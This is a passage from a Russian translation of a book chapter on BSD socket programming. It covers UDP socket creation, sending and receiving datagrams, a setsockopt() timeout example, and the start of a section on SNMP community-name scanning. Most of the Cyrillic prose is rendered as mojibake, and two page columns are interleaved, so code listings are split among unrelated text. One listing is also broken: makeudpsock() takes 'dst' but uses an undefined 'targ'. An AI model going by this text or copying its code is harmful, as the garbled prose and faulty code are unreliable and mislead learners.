à íå â âèäå ïîòîêà áàéòîâ, êàê â ñëó÷àå TCP. Êàæäûé âûçîâ write(), send() èëè
íèè êëèåíòñêèõ è ñåðâåðíûõ TCP-ñîêåòîâ, ïåðåéäåì ê ïðîãðàììèðîâàíèþ
sendto() ïîðîæäàåò îäíó äàòàãðàììó. Ïðèíÿòûå äàòàãðàììû ñ÷èòûâàþòñÿ
UDP-ñîêåòîâ.
êàê íåäåëèìîå öåëîå. Åñëè ïðè ïîïûòêå ñ÷èòûâàíèÿ äàòàãðàììû ïðåäîñòàâ-
ëåí áóôåð íåäîñòàòî÷íîãî ðàçìåðà, òî ôóíêöèÿ ÷òåíèÿ âåðíåò êîä îøèáêè.
Клиенты и серверы Åñëè ðàçìåð UDP-äàòàãðàììû ïðåâîñõîäèò ìàêñèìàëüíóþ äëèíó ñåãìåíòà
â ëîêàëüíîé ñåòè èëè ëþáîé ñåòè, ÷åðåç êîòîðóþ äàòàãðàììà ìàðøðóòèçèðó-

для протокола UDP åòñÿ, òî îíà äîëæíà áûòü ôðàãìåíòèðîâàíà. Èç ñîîáðàæåíèé ïðîèçâîäèòåëü-
íîñòè ýòî íåæåëàòåëüíî, ïîýòîìó íåêîòîðûå îïåðàöèîííûå ñèñòåìû îãðà-
íè÷èâàþò èëè âîâñå íå ïîääåðæèâàþò òàêîé ðåæèì.  ïðèìåðå 3.4 ïîêàçàíî,
Ïðè ïðîãðàììèðîâàíèè UDP-ñîêåòîâ èñïîëüçóþòñÿ, â îñíîâíîì, òå æå ïðè-
êàê ñîçäàâàòü UDP-ñîêåò.
åìû, ÷òî è äëÿ TCP-ñîêåòîâ. Íî UDP – ýòî ïðîòîêîë áåç óñòàíîâëåíèÿ ñîåäè-
íåíèé, ïîýòîìó äëÿ íåãî íóæíî ìåíüøå ïðåäâàðèòåëüíûõ øàãîâ è îí ïðåäî-
Пример 3.4. UDP)сокет (udp1.c)
ñòàâëÿåò ÷óòü áîëüøå ãèáêîñòè ïðè îòïðàâêå è ïðèåìå UDP-äàòàãðàìì. UDP 1 /*
íå ÿâëÿåòñÿ ïîòîêîâûì ïðîòîêîëîì, äàííûå ïåðåäàþòñÿ íå ïîáàéòíî, à öå- 2 * udp1.c
ëûìè áëîêàìè – äàòàãðàììàìè. 3 *
158 Глава 3. BSD!сокеты Клиенты и серверы для протокола UDP 159
4 * ïðèìåð ïðîãðàììû äëÿ ñîçäàíèÿ UDP-ñîêåòà  Âòîðîé ïàðàìåòð, ïåðåäàííûé ôóíêöèè socket(), – ýòî öåëî÷èñëåííàÿ
5 * êîíñòàíòà SOCK_DGRAM (îïðåäåëåíà â <sys/socket.h>). Îíà óêàçûâàåò
6 * foster <jamescfoster@gmail.com>
7 */
òèï ñîçäàâàåìîãî ñîêåòà.  ñî÷åòàíèè ñ àäðåñíûì ñåìåéñòâîì AF_INET
8 òèï SOCK_DGRAM ãîâîðèò î òîì, ÷òî íóæíî ñîçäàòü UDP-ñîêåò.
9 #include <stdio.h>  Òðåòèé ïàðàìåòð socket() ìîæåò ñîäåðæàòü íîìåð ïðîòîêîëà, íî ïðè ñî-
10 çäàíèè UDP-ñîêåòà îí íå èñïîëüçóåòñÿ è ïîýòîìó îñòàâëåí ðàâíûì
11 #include <sys/socket.h>
íóëþ.
12 #include <netinet/in.h>
13   ñëó÷àå óñïåõà ôóíêöèÿ socket() âîçâðàùàåò íåîòðèöàòåëüíîå öåëîå
14 int ÷èñëî. Îíî îäíîçíà÷íî èäåíòèôèöèðóåò ñîêåò â òåêóùåì ïðîöåññå è
15 main(void) íàçûâàåòñÿ äåñêðèïòîðîì ñîêåòà.  ñëó÷àå îøèáêè âîçâðàùàåòñÿ –1.
16 {   ñòðîêå 19 ïðîâåðÿåòñÿ çíà÷åíèå, êîòîðîå âåðíóëà socket(). Åñëè îíî
17 int sock = 0;
18
ìåíüøå íóëÿ, òî íà ñòàíäàðòíûé âûâîä ïå÷àòàåòñÿ ñîîáùåíèå îá
19 sock = socket(AF_INET, SOCK_DGRAM, 0); îøèáêå.
20 if(sock < 0)  Â ñòðîêå 26 ïðàâèëüíûé äåñêðèïòîð ñîêåòà ïåðåäàåòñÿ ôóíêöèè close(),
21 { êîòîðàÿ çàêðûâàåò ñîêåò, äåëàÿ åãî íåïðèãîäíûì äëÿ äàëüíåéøåãî èñ-
22 printf("îøèáêà socket().\n"); ïîëüçîâàíèÿ.
23 }
24 else  ïðèìåðå 3.5 èëëþñòðèðóåòñÿ îòïðàâêà UDP-äàòàãðàììû ÷åðåç ñîêåò, êî-
25 { òîðûé ïðåäâàðèòåëüíî áûë «ñîåäèíåí» ñ ïîìîùüþ ôóíêöèè connect().
26 close(sock);
27 printf("socket() çàâåðøèëàñü óñïåøíî.\n");
28 }
Пример 3.5. Отправка UDP)датаграммы функцией send() (udp2.c)
29 1 /*
30 return(0); 2 * udp2.c
31 } 3 *
4 * îòïðàâêà UDP-äàòàãðàììû ñ ïîìîùüþ
5 * ñîêåòà, êîòîðûé áûë ïðåäâàðèòåëüíî
Компиляция 6 * îáðàáîòàí ôóíêöèåé connect().
7 *
obsd32# gcc -o udp1 udp1.c 8 * foster <jamescfoster@gmail.com>
9 */
Пример исполнения 10
11 #include <stdio.h>
obsd32# ./udp1 12
socket() çàâåðøèëàñü óñïåøíî. 13 #include <sys/socket.h>
14 #include <netinet/in.h>
15 #include <arpa/inet.h>
Анализ 16
17
  ñòðîêàõ 11 è 12 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû <sys/socket.h> è
#define UDP2_DST_ADDR "127.0.0.1"
18 #define UDP2_DST_PORT 1234
<netinet/in.h>. Â íèõ ñîäåðæàòñÿ ïðîòîòèïû ôóíêöèé è ñòðóêòóðû äàí- 19
íûõ, íåîáõîäèìûå äëÿ ðàáîòû ñ ñîêåòàìè. 20 int
  ñòðîêå 19 âûçûâàåòñÿ ôóíêöèÿ socket(). Ïåðâûé ïàðàìåòð – öåëî÷èñ- 21 main(void)
ëåííàÿ êîíñòàíòà AF_INET (îïðåäåëåíà â <sys/socket.h>). Îíà óêàçûâàåò, 22 {
23 struct sockaddr_in sin;
÷òî ñîêåò ïðèíàäëåæèò àäðåñíîìó ñåìåéñòâó AF_INET, êîòîðîå ñîîò- 24 char buf[100];
âåòñòâóåò àäðåñàöèè, ïðèíÿòîé â ïðîòîêîëå IPv4. 25 int sock = 0;
160 Глава 3. BSD!сокеты Клиенты и серверы для протокола UDP 161
26 int ret = 0; âàòü ñòðóêòóðó sockaddr_in è êàê ïîñûëàòü UDP-äàòàãðàììû ñ ïîìîùüþ ôóí-
27 êöèè send().
28 sock = socket(AF_INET, SOCK_DGRAM, 0);
29 if(sock < 0)
30 { Анализ
31 printf("îøèáêà socket().\n");
32 return(1);   ñòðîêå 15 âêëþ÷àåòñÿ ôàéë arpa/inet.h, ñîäåðæàùèé ïðîòîòèïû ôóíê-
33 } öèé ïðåîáðàçîâàíèÿ àäðåñîâ IPv4 â òî÷å÷íî-äåñÿòè÷íóþ íîòàöèþ è îá-
34
ðàòíî.
35 memset(&sin, 0x0, sizeof(sin));
36  Â ñòðîêàõ 17 è 18 ñ ïîìîùüþ äèðåêòèâ ïðåïðîöåññîðà îïðåäåëÿþòñÿ
37 sin.sin_family = AF_INET; IP-àäðåñ è ïîðò ïîëó÷àòåëÿ, òî åñòü êîíå÷íàÿ òî÷êà, â êîòîðóþ áóäóò
38 sin.sin_port = htons(UDP2_DST_PORT); íàïðàâëÿòüñÿ UDP-äàòàãðàììû.
39 sin.sin_addr.s_addr = inet_addr(UDP2_DST_ADDR);  Â ñòðîêàõ 23–26 îáúÿâëÿþòñÿ ëîêàëüíûå ïåðåìåííûå. Â ñòðóêòóðó sin
40
òèïà struct sockaddr_in áóäåò ïîìåùåí IP-àäðåñ è ïîðò ïîëó÷àòåëÿ.
41 ret = connect(sock, (struct sockaddr *) &sin, sizeof(sin));
42 if(ret < 0)  Â ñòðîêàõ 27–32 ñ ïîìîùüþ ôóíêöèè socket() ñîçäàåòñÿ UDP-ñîêåò.
43 { Ïðîöåäóðà íå îòëè÷àåòñÿ îò âñòðåòèâøåéñÿ â ïðèìåðå 3.4.
44 printf("îøèáêà connect().\n");  Â ñòðîêàõ 37 â ïîëå sin_family ñòðóêòóðû sin ïîìåùàåòñÿ êîíñòàíòà
45 return(1); AF_INET, îïðåäåëÿþùàÿ àäðåñíîå ñåìåéñòâî. Ïðè ðàáîòå ñ ïðîòîêî-
46 }
ëîì UDP âñåãäà ñëåäóåò çàäàâàòü èìåííî ýòî ñåìåéñòâî.
47
48 memset(buf, 'A', 100);  Â ñòðîêå 38 â ïîëå sin_port çàïèñûâàåòñÿ íîìåð óäàëåííîãî ïîðòà, â êî-
49 òîðûé äîëæíà áûòü äîñòàâëåíà äàòàãðàììà. Ïðåäâàðèòåëüíî íîìåð
50 ret = send(sock, buf, 100, 0); ïîðòà ïåðåäàåòñÿ ôóíêöèè htons(), êîòîðàÿ ïðåîáðàçóåò áàéòû öåëîãî
51 if(ret != 100) ÷èñëà â ñåòåâîé ïîðÿäîê, ÷òîáû îáåñïå÷èòü ïåðåíîñèìîñòü. Ïî îïðåäå-
52 {
ëåíèþ, ñåòåâîé ïîðÿäîê – ýòî «big-endian» (ñòàðøèé áàéò ñëåâà). Ïî-
53 printf("îøèáêà send().\n");
54 return(1); ýòîìó, íà êîìïüþòåðàõ, ãäå öåëûå ÷èñëà èçíà÷àëüíî ïðåäñòàâëåíû
55 } â òàêîì âèäå, ôóíêöèÿ htons() íè÷åãî íå äåëàåò. Åñëè æå ìàøèííûé
56 ïîðÿäîê – «l ittle-endian» (ñòàðøèé áàéò ñïðàâà), òî îíà ïåðåñòàâëÿåò
57 close (sock); ìëàäøèé è ñòàðøèé áàéòû.
58 printf("send() çàâåðøèëàñü óñïåøíî.\n");
59
  ñòðîêå 39 àäðåñ ïîëó÷àòåëÿ, çàäàííûé â òî÷å÷íî-äåñÿòè÷íîé íîòà-
60 return(0); öèè, ïðåîáðàçóåòñÿ â áåççíàêîâîå öåëîå ÷èñëî ñ ïîìîùüþ ôóíêöèè
61 } inet_addr(), ïîñëå ÷åãî çàïèñûâàåòñÿ â ïîëå sin_addr.s_addr ñòðóêòóðû
sockaddr_in. Ôóíêöèÿ inet_addr() âîçâðàùàåò öåëîå áåç çíàêà, ïðåäñòàâ-
ëåííîå â ñåòåâîì ïîðÿäêå áàéòîâ. Ïîëó÷èâ íà âõîäå íåêîððåêòíûé àä-
Компиляция ðåñ, ôóíêöèÿ âåðíåò êîíñòàíòó INADDR_NONE, ÿâëÿþùóþñÿ ïðèçíà-
obsd32# gcc -o udp2 udp2.c êîì îøèáêè.
 Â ñòðîêå 41 âûçûâàåòñÿ ôóíêöèÿ connect(), êîòîðàÿ àññîöèèðóåò ñ ñîêå-
Пример исполнения òîì àäðåñ, çàäàííûé â ñòðóêòóðå sockaddr_in. Åñëè îíà çàâåðøèòñÿ óñ-
obsd32# ./udp2
ïåøíî, òî ìîæíî ïðèñòóïàòü ê îáìåíó äàííûìè ÷åðåç ñîêåò, êîòîðûé
send() çàâåðøèëàñü óñïåøíî. ïðîäîëæàåòñÿ äî òåõ ïîð, ïîêà íå âîçíèêíåò îøèáêà èëè îäíà èç ñòîðîí
íå âûçîâåò ôóíêöèþ close().  ñëó÷àå îøèáêè connect() âåðíåò –1.
Ïðîãðàììà udp2.c áàçèðóåòñÿ íà êîäå äëÿ ðàáîòû ñ ñîêåòàìè èç ïðèìåðà  Â ñòðîêå 48 áóôåð ðàçìåðîì 100 áàéòîâ çàïîëíÿåòñÿ ñèìâîëàìè A. Ýòî
udp1.c. Äîïîëíèòåëüíî â íåé ïîêàçàíî, êàê íàäî îáúÿâëÿòü è èíèöèàëèçèðî- äàííûå, êîòîðûå ìû îòïðàâèì ïîëó÷àòåëþ ÷åðåç ñîêåò.
162 Глава 3. BSD!сокеты Клиенты и серверы для протокола UDP 163

 Â ñòðîêå 50 äëÿ îòïðàâêè äàííûõ âûçûâàåòñÿ ôóíêöèÿ send(). Åå ïåð- 38 sin.sin_port = htons(UDP3_DST_PORT);
âûé ïàðàìåòð – ýòî äåñêðèïòîð ñîêåòà, âòîðîé – óêàçàòåëü íà áóôåð, ñî- 39 sin.sin_addr.s_addr = inet_addr(UDP3_DST_ADDR);
40
äåðæàùèé äàííûå, òðåòèé – ðàçìåð ýòîãî áóôåðà â áàéòàõ. ×åòâåðòûé
41 memset(buf, 'A', 100);
ïàðàìåòð ìîæåò ñîäåðæàòü ðàçëè÷íûå ôëàãè, êîòîðûå â äàííîì ïðè- 42
ìåðå íå èñïîëüçóþòñÿ. Ôóíêöèÿ send() â ñëó÷àå óñïåõà âîçâðàùàåò ÷èñ- 43 ret = sendto(sock, buf, 100, 0,
ëî îòïðàâëåííûõ áàéòîâ, à â ñëó÷àå îøèáêè – îòðèöàòåëüíîå ÷èñëî. 44 (struct sockaddr *) &sin, sizeof(sin));
45 if(ret != 100)
 ïðèìåðå 3.6 äåìîíñòðèðóåòñÿ îòïðàâêà UDP-äàòàãðàììû, êîãäà IP-àäðåñ 46 {
è íîìåð ïîðòà çàäàþòñÿ âî âðåìÿ âûïîëíåíèÿ. 47 printf("îøèáêà sendto().\n");
48 return(1);
Пример 3.6. Отправка UDP)датаграммы функцией sendto() (udp3.c) 49 }
1 /* 50
2 * udp3.c 51 close(sock);
3 * 52 printf("sendto()çàâåðøèëàñü óñïåøíî.\n");
4 * îòïðàâêà UDP-äàòàãðàììû ÷åðåç ñîêåò 53
5 * ñ ïîìîùüþ ôóíêöèè sendto(). 54 return(0);
6 * Ïðèìåð 3. 55 }
7 *
8 * foster <jamescfoster@gmail.com>
9 */ Компиляция
10 obsd32# gcc -o udp3 udp3.c
11 #include <stdio.h>
12
13 #include <sys/socket.h> Пример исполнения
14 #include <netinet/in.h>
15 #include <arpa/inet.h> obsd32# ./udp3
sendto() çàâåðøèëàñü óñïåøíî.
16
17 #define UDP3_DST_ADDR "127.0.0.1"
18
19
#define UDP3_DST_PORT 1234 Анализ
20 int  ïðîãðàììå udp3.c ïîêàçàí àëüòåðíàòèâíûé ñïîñîá îòïðàâêè äàííûõ: ñ ïîìî-
21 main(void)
ùüþ ôóíêöèè sendto(). Âìåñòî òîãî ÷òîáû îäèí ðàç çàäàòü IP-àäðåñ è íîìåð
22 {
23 struct sockaddr_in sin;
ïîðòà, âûçâàâ connect(), ìû çàäàåì èõ ïðè êàæäîì âûçîâå sendto(), ïåðåäàâàÿ
24 char buf[100]; â êà÷åñòâå ïÿòîãî ïàðàìåòðà óêàçàòåëü íà ñòðóêòóðó sockaddr_in. Òåì ñàìûì
25 int sock = 0; åäèíñòâåííûé äåñêðèïòîð ìîæíî èñïîëüçîâàòü äëÿ îáìåíà äàííûìè ñ ðàç-
26 int ret = 0; íûìè õîñòàìè. Ôóíêöèÿ sendto() ïîëåçíà, êîãäà äàííûå íóæíî ïîñûëàòü ðàç-
27
28 sock = socket(AF_INET, SOCK_DGRAM, 0);
íûì ïîëó÷àòåëÿì, íàïðèìåð, ïðè ðåàëèçàöèè ñêàíåðà, ðàáîòàþùåãî ïî ïðî-
29 if(sock < 0) òîêîëó UDP.
30 { Åäèíñòâåííîå îòëè÷èå ïðèìåðà udp3.c îò udp2.c â òîì, ÷òî îòñóòñòâóåò âû-
31 printf("îøèáêà socket().\n"); çîâ connect(), à âìåñòî send() âûçûâàåòñÿ sendto(). Â ïðèìåðå 3.7 äåìîíñòðè-
32 return(1);
ðóåòñÿ ïðèåì UDP-äàòàãðàììû ñ ïîìîùüþ ôóíêöèè recvfrom().
33 }
34
35 memset(&sin, 0x0, sizeof(sin)); Пример 3.7. Прием UDP)датаграммы (udp4.c)
36 1 /*
37 sin.sin_family = AF_INET; 2 * udp4.c
164 Глава 3. BSD!сокеты Клиенты и серверы для протокола UDP 165
3 * 52
4 * ïðèåì UDP-äàòàãðàììû ñ ïîìîùüþ 53 close (sock);
5 * ôóíêöèè recvfrom(). 54 printf("recvfrom() çàâåðøèëàñü óñïåøíî.\n");
6 * Ïðèìåð 4. 55
7 * 56 return(0);
8 * foster <jamescfoster@gmail.com> 57 }
9 */
10
11 #include <stdio.h> Компиляция
12 obsd32# gcc -o udp4 udp4.c
13 #include <sys/socket.h>
14 #include <netinet/in.h>
15 Пример исполнения
16 #define UDP4_PORT 1234
17 obsd32# ./udp4 &
18 int [1] 18864
19 main(void)
obsd32# ./udp3
20 { recvfrom() çàâåðøèëàñü óñïåøíî.
21 struct sockaddr_in sin; sendto() çàâåðøèëàñü óñïåøíî.
22 char buf[100];
23 int sock = 0; [1] + Done ./udp4
24 int ret = 0;
25 Ýòà ïðîãðàììà ñîçäàåò UDP-ñîêåò, ïðèâÿçûâàåò åãî ê ïîðòó 1234 è æäåò ïî-
26 sock = socket(AF_INET, SOCK_DGRAM, 0);
ñòóïëåíèÿ îäíîé äàòàãðàììû.  ïðèìåðå âûïîëíåíèÿ ìû ñíà÷àëà çàïóñêàåì
27 if(sock < 0)
28 {
udp4, à çàòåì udp3. Ïðîãðàììà udp3 îòïðàâëÿåò åäèíñòâåííóþ äàòàãðàììó udp4.
29 printf("îøèáêà socket().\n");
30
31 }
return(1);
Анализ
32   ñòðîêàõ 13 è 14 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû sys/socket.h è netinet/in.h.
33 memset(&sin, 0x0, sizeof(sin));
 Â ñòðîêå 16 îïðåäåëÿåòñÿ ïîðò (1234), ê êîòîðîìó áóäåò ïðèâÿçàí ñîêåò.
34
35 sin.sin_family = AF_INET;   ñòðîêå 26 ñ ïîìîùüþ ôóíêöèè socket() ñîçäàåòñÿ ñîêåò òî÷íî òàê æå,
36 sin.sin_port = htons(UDP4_PORT); êàê è â ïðåäûäóùèõ ïðèìåðàõ.
37 sin.sin_addr.s_addr = INADDR_ANY;  Â ñòðîêàõ 32–36 â ñòðóêòóðó sockaddr_in çàïèñûâàþòñÿ IP-àäðåñ è íîìåð
38 ïîðòà ëîêàëüíîé îêîíå÷íîé òî÷êè. Ïîëÿ sin_family è sin_port çàïîëíÿ-
39 ret = bind(sock, (struct sockaddr *) &sin, sizeof(sin));
þòñÿ êàê è ðàíüøå. Â ïîëå sin_addr.s_addr çàïèñûâàåòñÿ êîíñòàíòà
40 if(ret < 0)
41 {
INADDR_ANY, êîòîðàÿ ãîâîðèò, ÷òî â ñîêåò äîëæíû íàïðàâëÿòüñÿ äà-
42 printf("îøèáêà bind().\n"); òàãðàììû, ïîñòóïèâøèå íà ëþáîé ñåòåâîé èíòåðôåéñ äàííîãî êîìïüþ-
43 return(1); òåðà. Òàê, åñëè êîìïüþòåð îáîðóäîâàí äâóìÿ ñåòåâûìè èíòåðôåéñà-
44 } ìè, òî ñîêåò ïðèâÿçûâàåòñÿ ê îáîèì. Ïðè æåëàíèè ñîêåò ìîæíî
45 ïðèâÿçàòü ê êîíêðåòíîìó èíòåðôåéñó, äëÿ ýòîãî íóæíî çàíåñòè â ïîëå
46 ret = recvfrom(sock, buf, 100, 0, NULL, NULL);
47 if(ret < 0)
sin_addr.s_addr íàçíà÷åííûé åìó IP-àäðåñ.
48 {   ñòðîêå 39 ôóíêöèÿ bind() ïðèâÿçûâàåò ñîêåò ê îêîíå÷íîé òî÷êå, îï-
49 printf("îøèáêà recvfrom().\n"); ðåäåëÿåìîé ñîäåðæèìûì ñòðóêòóðû sockaddr_in. Ïåðâûé ïàðàìåòð
50 return(1); bind() – ýòî äåñêðèïòîð ñîêåòà, âòîðîé – àäðåñ ñòðóêòóðû sockaddr_in,
51 } êîòîðûé äîëæåí áûòü ïðèâåäåí ê òèïó struct sockaddr. Òðåòèé ïàðàìåòð
166 Глава 3. BSD!сокеты Опции сокетов 167

äîëæåí ñîäåðæàòü äëèíó ñòðóêòóðû sockaddr_in â áàéòàõ. Åñëè bind() çà- Пример 3.8. Установка опций сокета с помощью функции setsockopt()
âåðøèòñÿ óñïåøíî, îíà âåðíåò 0, â ñëó÷àå îøèáêè – îòðèöàòåëüíîå çíà- 1 /*
÷åíèå. 2 * makeudpsock()
3 *
 Â ñòðîêå 46 âûçûâàåòñÿ ôóíêöèÿ recvfrom() äëÿ ïðèåìà îäíîé äàòàãðàì- 4 *
ìû. Åå ïåðâûì ïàðàìåòðîì ÿâëÿåòñÿ äåñêðèïòîð ðàíåå ïðèâÿçàííîãî 5 */
ñîêåòà, âòîðûì – óêàçàòåëü íà ìàññèâ ñèìâîëîâ, â êîòîðûé áóäóò ïîìå- 6 int makeudpsock (char *dst, unsigned short port)
ùåíû ïðèíÿòûå äàííûå, òðåòüèì – äëèíà ýòîãî ìàññèâà â áàéòàõ. ×åò- 7 {
8 struct sockaddr_in sin;
âåðòûì ïàðàìåòðîì ìîæåò áûòü àäðåñ ñòðóêòóðû sockaddr_in, ïðèâåäåí- 9 struct timeval tv;
íûé ê òèïó struct sockaddr, à ïÿòûì – óêàçàòåëü íà öåëîå ÷èñëî, ñîäåðæà- 10 unsigned int taddr = 0;
ùåå äëèíó ñòðóêòóðû sockaddr_in â áàéòàõ. Åñëè ÷åòâåðòûé è ïÿòûé 11 int sock = 0;
ïàðàìåòð çàäàíû (íå ðàâíû NULL), òî â ýòó ñòðóêòóðó sockaddr_in áóäóò 12 int ret = 0;
13
ïîìåùåíû IP-àäðåñ è ïîðò îòïðàâèòåëÿ äàòàãðàììû.
14 taddr = inet_addr(targ);
 Â ñòðîêå 53 ñîêåò âûçûâàåòñÿ ôóíêöèÿ close(), êîòîðàÿ çàêðûâàåò ñîêåò, 15 if(taddr == INADDR_NONE)
ïîñëå ÷åãî îí óæå íå ìîæåò èñïîëüçîâàòüñÿ äëÿ ïðèåìà äàííûõ. 16 {
17 printf("îøèáêà inet_addr().\n");
18 return(-1);

Опции сокетов 19
20
}

21 sock = socket(AF_INET, SOCK_DGRAM, 0);


 ñîñòàâ API BSD-ñîêåòîâ âõîäèò ìíîãî ôóíêöèé äëÿ îòïðàâêè è ïðèåìà äàí- 22 if(sock < 0)
íûõ. Õîòÿ èõ äåéñòâèé ïî óìîë÷àíèþ äîñòàòî÷íî äëÿ ðåàëèçàöèè òèïè÷íîé 23 {
ôóíêöèîíàëüíîñòè, èíîãäà ïðèõîäèòñÿ èçìåíÿòü íåêîòîðûå àñïåêòû ðàáîòû 24 printf("îøèáêà socket().\n");
25 return(-1);
ñîêåòîâ. Äëÿ ýòîãî ñëóæèò ôóíêöèÿ setsockopt(). 26 }
Ýòà ôóíêöèÿ ïîçâîëÿåò ìåíÿòü ïàðàìåòðû íà ðàçíûõ óðîâíÿõ ñòåêà ïðîòî- 27
êîëîâ. Åñëè ðå÷ü èäåò î ñåìåéñòâå AF_INET, òî ìîæíî ìîäèôèöèðîâàòü ïî- 28 memset(&sin, 0x0, sizeof(sin));
âåäåíèå êàê ñàìîãî ñîêåòà, òàê è ïðîòîêîëîâ UDP, TCP, ICMP è òàê äàëåå. 29
30 sin.sin_family = AF_INET;
×àùå âñåãî îïöèè ïðèìåíÿþòñÿ äëÿ èçìåíåíèÿ ïàðàìåòðîâ ñàìîãî ñîêå- 31 sin.sin_port = htons(port);
òà. Ìîæíî çàäàòü ïðàâèëà îáðàáîòêè îøèáîê, ðàçìåðû áóôåðîâ, èíòåðïðåòà- 32 sin.sin_addr.s_addr = taddr;
öèþ àäðåñîâ è ïîðòîâ, à òàêæå âåëè÷èíû òàéìàóòîâ ïðè ïðèåìå è ïåðåäà÷å 33
äàííûõ. Èç âñåõ âûøåïåðå÷èñëåííûõ âîçìîæíîñòåé îáû÷íî èñïîëüçóåòñÿ 34 ret = connect(sock, (struct sockaddr *) &sin,
35 sizeof(sin));
îïöèÿ SO_RCVTIMEO äëÿ çàäàíèÿ òàéìàóòà ïðè ÷òåíèè äàííûõ ôóíêöèÿìè 36 if(ret < 0)
read(), recv() è recvfrom(). 37 {
Ïî óìîë÷àíèþ ôóíêöèè read(), recv() è recvfrom() âûïîëíÿþò áëîêèðóþ- 38 printf("îøèáêà connect().\n");
ùåå ÷òåíèå, òî åñòü ôóíêöèÿ áóäåò æäàòü äî òåõ ïîð, ïîêà â ñîêåò íå ïîñòóïÿò 39 return(-1);
40 }
äàííûå èëè íå ïðîèçîéäåò îøèáêà. Òàêîå ïîâåäåíèå íåæåëàòåëüíî, åñëè
41
ïðîãðàììà äîëæíà âûïîëíèòü íåêîòîðîå äåéñòâèå, êîãäà äàííûå íå ïîñòóïà- 42 memset(&tv, 0x00, sizeof(tv));
þò âîâðåìÿ. Òóò-òî è ïðèõîäèò íà ïîìîùü îïöèÿ SO_RCVTIMEO, êîòîðàÿ 43
ïîçâîëÿåò óêàçàòü, ñêîëüêî âðåìåíè ñîêåò ìîæåò æäàòü äàííûõ, ïðåæäå ÷åì 44 tv.tv_sec = 10;
âåðíóòü óïðàâëåíèå âûçûâàþùåé ïðîãðàììå. Â ïðèìåðå 3.8 ïîêàçàíî, êàê ñ 45
46 ret = setsockopt(sock, SOL_SOCKET,
ïîìîùüþ ôóíêöèè setsockopt() óñòàíîâèòü îïöèþ SO_RCVTIMEO äëÿ UDP- 47 SO_RCVTIMEO, &tv, sizeof(tv));
ñîêåòà. 48 if(ret < 0)
168 Глава 3. BSD!сокеты Сканирование сети с помощью UDP!сокетов 169

Сканирование сети
49 {
50 printf("îøèáêà setsockopt().\n");
51 return(-1);
52 }
53 с помощью UDP!сокетов
54 return(sock);
55 } Â ýòîì ðàçäåëå ìû ðàññìîòðèì ïîëíóþ ïðîãðàììó, êîòîðàÿ, ïîëüçóÿñü ïðî-
òîêîëîì UDP è API ñîêåòîâ, ðåàëèçóåò ñêàíèðîâàíèå èìåí ñîîáùåñòâ (com-
 ýòîì ïðèìåðå ñ ïîìîùüþ ôóíêöèé socket() è connect() ñîçäàåòñÿ è àññîöè- munity name), îïðåäåëåííûõ â ïðîòîêîëå SNMP (Simple Network Management
èðóåòñÿ ñ óäàëåííîé îêîíå÷íîé òî÷êîé UDP-ñîêåò. Çàòåì âûçûâàåòñÿ ôóíê- Protocol – ïðîñòîé ïðîòîêîë óïðàâëåíèÿ ñåòüþ). Ïðîòîêîë SNMP øèðîêî ðàñ-
öèÿ setsockopt(), êîòîðàÿ çàäàåò âåëè÷èíó òàéìàóòà ïðè ïðèåìå äàííûõ. ïðîñòðàíåí è ïðèìåíÿåòñÿ äëÿ ïîëó÷åíèÿ è çàäàíèÿ ðàçëè÷íûõ ïàðàìåòðîâ
Ýòà âåëè÷èíà ïðåäâàðèòåëüíî çàïèñûâàåòñÿ â ñòðóêòóðó timeval. Ôóíêöèÿ êîìïüþòåðîâ è óñòðîéñòâ, ïîäêëþ÷åííûõ ê ñåòè. Äëÿ ýòîãî óçëó ïîñûëàþòñÿ
makeudpsock() âîçâðàùàåò äåñêðèïòîð âíîâü ñîçäàííîãî ñîêåòà. êîìàíäû SNMP GetRequest è SetRequest, èíêàïñóëèðîâàííûå â UDP-äàòàãðàììû.
Äëÿ ïîëó÷åíèÿ ïàðàìåòðà õîñò-îòïðàâèòåëü ïîñûëàåò õîñòó-ïîëó÷àòåëþ
êîìàíäó GetRequest. Ïîëó÷àòåëü ïðîâåðÿåò êîððåêòíîñòü çàïðîñà è âîçâðàùà-
Анализ åò îòïðàâèòåëþ â ñîñòàâå UDP-äàòàãðàììû îòâåò GetResponse âìåñòå ñ äàííû-
  ñòðîêàõ 7–39 ñ ïîìîùüþ ôóíêöèé socket() è connect() ñîçäàåòñÿ íîâûé ìè èñõîäíîãî çàïðîñà.  ñëó÷àå æå çàïðîñà SetRequest ïîëó÷àòåëü ïðîâåðÿåò
ñîêåò. Ýòà ïðîöåäóðà óæå ðàññìàòðèâàëàñü âûøå; åãî êîððåêòíîñòü è âíîñèò íåîáõîäèìûå èçìåíåíèÿ â êîíôèãóðàöèþ.
  ñòðîêàõ 45 è 46 âûçûâàåòñÿ ôóíêöèÿ setsockopt(). Ïåðâûì ïàðàìåòðîì Ïîëó÷àòü èëè èçìåíÿòü ìîæíî ðàçíîîáðàçíûå ïàðàìåòðû, â òîì ÷èñëå
åé ïåðåäàåòñÿ äåñêðèïòîð ñîêåòà, äëÿ êîòîðîãî íóæíî çàäàòü îïöèè. èìÿ óäàëåííîãî õîñòà, IP-àäðåñ è ñòàòèñòèêó. Ïðîãðàììà, ðåàãèðóþùàÿ íà
Âòîðîé ïàðàìåòð – ýòî óðîâåíü ïðîòîêîëà, íà êîòîðîì äåéñòâóþò çàäà- SNMP-çàïðîñû, íàçûâàåòñÿ àãåíòîì ïðîòîêîëà SNMP. Àãåíò ïðèâÿçûâàåò ñâîé
âàåìûå îïöèè.  äàííîì ñëó÷àå êîíñòàíòà SOL_SOCKET ñîîáùàåò, ÷òî ñîêåò ê ïîðòó 161 è îæèäàåò ïîñòóïëåíèÿ çàïðîñîâ GetRequest è SetRequest. Òðå-
çàäàåòñÿ îïöèÿ íà óðîâíå ñàìîãî ñîêåòà. Òðåòèé ïàðàìåòð – ýòî ñîá- áóåòñÿ, ÷òîáû â ïîëó÷åííîì çàïðîñå áûëî çàäàíî èìÿ ñîîáùåñòâà, èçâåñòíîå
ñòâåííî îïöèÿ; ìû óêàçàëè öåëî÷èñëåííóþ êîíñòàíòó SO_RCVTIMEO. àãåíòó SNMP. Îíî ñëóæèò àíàëîãîì ïàðîëÿ, ïîñêîëüêó çàïðîñû, íå ñîäåðæà-
×åòâåðòûé è ïÿòûé ïàðàìåòðû ôóíêöèè çàâèñÿò îò òîãî, êàêîé óðîâåíü ùåãî êîððåêòíîãî èìåíè ñîîáùåñòâà, èãíîðèðóþòñÿ.
